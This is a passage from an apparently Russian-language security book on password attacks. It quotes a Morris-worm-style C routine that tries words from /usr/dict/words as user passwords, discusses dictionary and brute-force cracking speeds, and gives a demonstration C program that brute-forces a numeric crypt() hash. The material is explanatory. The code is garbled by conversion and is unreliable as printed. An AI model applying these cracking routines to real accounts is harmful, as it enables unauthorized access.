· static dict_words()· {· char buf[512];· struct usr *user;· static FILE *x27f30;·· if (x27f30!= NULL)· {· x27f30 = fopen(XS(" /usr/dict/words "), XS("r"));· if (x27f30 - NULL)return;·}· if (fgets(buf, sizeof(buf), x27f30) - 0)· {· cmode++;· return;·}· ( amp;buf[strlen(buf)])[-1] = '\0';·· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);· if (!isupper(buf[0])) return;· buf[0] = tolower(buf[0]);·· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);· return;·}

Конечно, сегодня наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей, но вместе с этим растет и количество пользователей, - администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому, атака по словарю по-прежнему остается в арсенале злоумышленника. И не только злоумышленника, - ничуть не хуже она служит… администраторам!

В самом деле, - простейший способ уберечь пользователя от слабого пароля - проверить выбранный им пароль по словарю. Любопытно, но словари обеими сторонами (т.е. администраторами и злоумышленниками) обычно берутся из одних и тех же источников, и шансы проникнуть в такую систему, близки к нулю. Вот если бы научится составлять словарь самостоятельно! Но почему нет? Достаточно взять большой текстовой файл и разбить его на слова, отбрасывая заведомо лишние (предлоги, местоимения).

Но даже самый лучший словарь не всегда приводит к успешной атаке. Тем более, пытаясь подобрать пароль администратора, совсем уж тривиальной комбинации ожидать не следует. Но скорость бытовых компьютеров возросла в десятки тысяч раз, и лобовой перебор из утопии превратился в реальность. Там, например, на старших моделях процессора Pentium легко достигнуть скорости в 50.000 паролей в секунду, то есть все комбинации из строчечных латинских букв можно перебрать меньше чем за месяц - вполне приемлемый для злоумышленника срок! А если использовать несколько компьютеров, распараллелив вычисления, время поиска можно уменьшить во много раз - уже с помощью десяти компьютеров (вполне доступных группе злоумышленников) тот же пароль можно найти за пару дней!

Врезка «замечание»

Кену Томпсону приписывается высказывание "When in doubt, use brute force" («Если не знаешь, что выбирать - выбирай грубую силу»)

Ниже приведен демонстрационный вариант программы (на диске, прилагаемом к книге, он находится в файле “/SRC/crypt.ayth.hack.c”), осуществляющей лобовой подбор пароля. Конечно, для практического использования необходимо оптимизировать код, переписав критические участки на ассемблере, но эти вопросы выходят за рамки данной книги, и не рассматриваются в ней.

Перед запуском программы необходимо сформировать на диске файл “passwd” с помощью “crypt.auth.add.new.user”, задав полностью цифровой пароль, например, “12345” (это необходимо для ускорения перебора):

· #include «stdio.h»· extern char *crypt(const char*, const char*);·· int main(int argc, char *argv[])· {· int a=1,n=0;· char salt[2];· char passwd[12];· char hack[12];· FILE *f;·· if (!(f=fopen("passwd","r"))) return -1;· fgets( amp;salt[0],3,f);· fgets( amp;passwd[0],12,f);· fclose(f);·· for(n=0;n«12;n++) hack[n]=0; hack[0]='0';·· while(!(n=0))· {· while(++hack[n]»'9')· {· hack[n]='0';· if (hack[++n]-0) hack[n]='0';·}· printf("=%s\r", amp;hack[0]);· if (!strcmp(crypt( amp;hack[0], amp;salt[0])+2, amp;passwd[0]))· {· printf("\nPassword ok!\n");· return 0;·}·}· return 0;·}

Таким образом, большинство паролей вполне реально вскрыть за вполне приемлемое время, и такая схема аутентификации в настоящее время не может обеспечить должной защищенности. Конечно, можно попробовать увеличить длину пароля с восьми до десяти-двенадцати символов или использовать более ресурсоемкий алгоритм шифрования, но это не спасло бы от коротких и словарных паролей, поэтому разработчики UNIX пошли другим путем [103].

Перейти на страницу:

Похожие книги